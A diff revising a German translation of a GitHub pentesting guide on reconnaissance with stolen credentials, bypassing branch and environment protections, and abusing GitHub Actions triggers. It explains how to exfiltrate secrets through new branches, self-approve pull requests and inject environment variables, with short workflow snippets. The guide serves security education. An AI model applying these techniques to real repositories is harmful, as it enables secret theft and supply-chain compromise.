+- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen wird **None** oder **Read**.
+- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Repositories der Organisation zu forken.
+- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Seiten aus den Repos der Organisation zu veröffentlichen. Wenn notwendig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
- **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter den Zugriff auf GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
-- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie **nicht** möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
+- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
@@ -105,11 +105,11 @@ _Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Infor
## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen
-Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben.
+Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein Github-Konto erhalten haben.
### Mit Benutzeranmeldeinformationen
-Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Enterprise- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**.
+Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, wenn Sie ein einfaches Mitglied sind, überprüfen Sie, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**.
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.
@@ -128,9 +128,9 @@ Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in de
# Get repo config and current user name and email
git config --list
```
-Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
+Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der gefundene private Schlüssel verwendet werden kann.
-**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
+**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In der Regel gibt die lokale Datei **`~/.ssh/config`** auf einem Server mit verschiedenen Deploy-Schlüsseln Informationen darüber, welcher Schlüssel zugeordnet ist.
#### GPG-Schlüssel
@@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long
Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).
-Ein Benutzer-Token kann **anstatt eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.
+Ein Benutzer-Token kann **anstelle eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.
Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
@@ -152,7 +152,7 @@ Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Für eine Einführung über [**Github Oauth-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#oauth-applications).
-Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren.
+Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
Dies sind die [Scopes, die eine Oauth-Anwendung anfordern kann](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Man sollte immer die angeforderten Scopes überprüfen, bevor man sie akzeptiert.
@@ -162,13 +162,13 @@ Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Orga
Für eine Einführung über [**Github-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#github-applications).
-Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren.
+Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.
-## Kompromittierung & Missbrauch von Github Action
+## Kompromittierung & Missbrauch von Github-Aktionen
-Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
+Es gibt mehrere Techniken, um eine Github-Aktion zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
{{#ref}}
abusing-github-actions/
@@ -176,25 +176,25 @@ abusing-github-actions/
## Umgehung des Branch-Schutzes
-- **Erforderliche Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
-- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass ein Benutzer normalerweise seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
-- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen.
-- **Überprüfungen von Code-Eigentümern anfordern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
-- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
-- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen.
-- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen.
+- **Erfordere eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github-Aktionsumgebung** im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
+- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
+- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht eingestellt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und ihn in den geschützten Branch zusammenführen.
+- **Erfordere Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github-Aktion erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
+- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber es wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
+- **Erlaube bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen.
+- **Administratoren einbeziehen**: Wenn dies nicht eingestellt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen.
- **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, indem Sie bösartigen Code hinzufügen, die resultierende PR selbst genehmigen und alles zusammenführen.
- **Entfernen von Branch-Schutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
- **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenführen) in Branches zu senden (der Branch-Schutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
-- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**.
+- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github-Aktion erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github-Aktion ausführen**.
## Umgehung von Umgebungs-Schutzmaßnahmen
Für eine Einführung über [**Github-Umgebungen siehe die grundlegenden Informationen**](basic-github-information.md#git-environments).
-Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie auf Repos stoßen könnten, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern).
+Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github-Aktion erstellen (oder eine vorhandene ändern).
-Beachten Sie, dass Sie auf den Grenzfall stoßen könnten, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**.
+Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github-Aktion ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github-Aktion ausgelöst wird**.
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -206,8 +206,8 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf
- Generieren Sie **Benutzertoken**
- Stehlen Sie **Github-Tokens** aus **Secrets**
-- **Löschung** von Workflow-**Ergebnissen** und **Branches**
-- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation**
+- **Löschen** von Workflow-**Ergebnissen** und **Branches**
+- Geben Sie **mehr Berechtigungen für die gesamte Organisation**
- Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren
- Laden Sie **außenstehende Mitarbeiter** ein
- **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden
@@ -216,7 +216,7 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf
### Imposter Commits - Hintertür über Repo-Commits
-In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, das nicht vom Eigentümer des Repos erstellt wurde**.
+In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, der nicht vom Eigentümer des Repos erstellt wurde**.
Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index df0723f02..07be44ca9 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,4 +1,4 @@
-# Abusing Github Actions
+# Missbrauch von Github Actions
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,24 +6,24 @@
Auf dieser Seite finden Sie:
-- Eine **Zusammenfassung aller Auswirkungen**, wenn es einem Angreifer gelingt, auf eine Github Action zuzugreifen
+- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer Zugriff auf eine Github Action erhält
- Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**:
- Berechtigungen zum Erstellen der Action haben
- Missbrauch von **Pull-Request**-bezogenen Triggern
- Missbrauch von **anderen externen Zugriffstechniken**
- **Pivoting** von einem bereits kompromittierten Repo
-- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (um die genannten Auswirkungen zu verursachen)
+- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (wegen der genannten Auswirkungen)
## Zusammenfassung der Auswirkungen
-Für eine Einführung über [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
+Für eine Einführung zu [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein:
-- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline zu missbrauchen**, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
+- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
- **Deployments** und andere **Artefakte** zu kompromittieren.
- Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
-- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivotieren.
+- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren.
- **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
## GITHUB_TOKEN
@@ -35,7 +35,7 @@ Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ gith
Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
+> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **den Zugriff über Repositories hinweg** innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
Sie können die möglichen **Berechtigungen** dieses Tokens hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
@@ -81,11 +81,11 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen oder in den Geheimnissen von Github Actions** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
+> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen von Github Actions oder in den Secrets** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
-Geheimnisse im Github Action-Ausgang auflisten
+Liste der Secrets im Github Action-Ausgang
```yaml
name: list_env
on:
@@ -151,9 +151,9 @@ Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Git
### Ausführung aus einem neuen Branch
-Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Repository- und Organisationsebene Geheimnisse exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
+Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Geheimnisse auf Repository- und Organisationsebene exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
-Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten):
+Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes hochgeladen werden** (je nachdem, wie auffällig Sie sein möchten):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -170,11 +170,11 @@ branches:
## Forked Execution
> [!NOTE]
-> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
+> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** auszuführen. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
### `pull_request`
-Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
+Der Workflow-Trigger **`pull_request`** wird jedes Mal ausgeführt, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** die **Ausführung** des Workflows **genehmigen**:
@@ -183,9 +183,9 @@ Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen,
>
> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~
-Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
+Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** auf das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
-> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.
+> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow von einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.
Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.
@@ -198,10 +198,10 @@ Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsw
Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis).
-Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext **ausgeführt wird** (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der in der **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
+Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der im **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
Und dieser hat **Zugriff auf Geheimnisse**.
@@ -217,20 +217,20 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow nicht**.
+Darüber hinaus, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow dies nicht konnte**.
Diese Art von Workflow könnte angegriffen werden, wenn sie **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
-Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die ihn **anfällig für RCE** macht.
+Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist.
### `workflow_call`
TODO
-TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der vom Ursprung oder vom geforkten PR ist
+TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der von der Quelle oder vom geforkten PR stammt
## Missbrauch von geforkter Ausführung
-Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
+Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
### Nicht vertrauenswürdige Checkout-Ausführung
@@ -276,17 +276,17 @@ Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder
### Kontext-Skript-Injektionen
-Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
+Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte von dem **Benutzer** kontrolliert werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV-Skript-Injektion**
+### **GITHUB_ENV Skript-Injektion**
-Aus den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
+Laut den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
-Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
+Wenn ein Angreifer **irgendeinen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
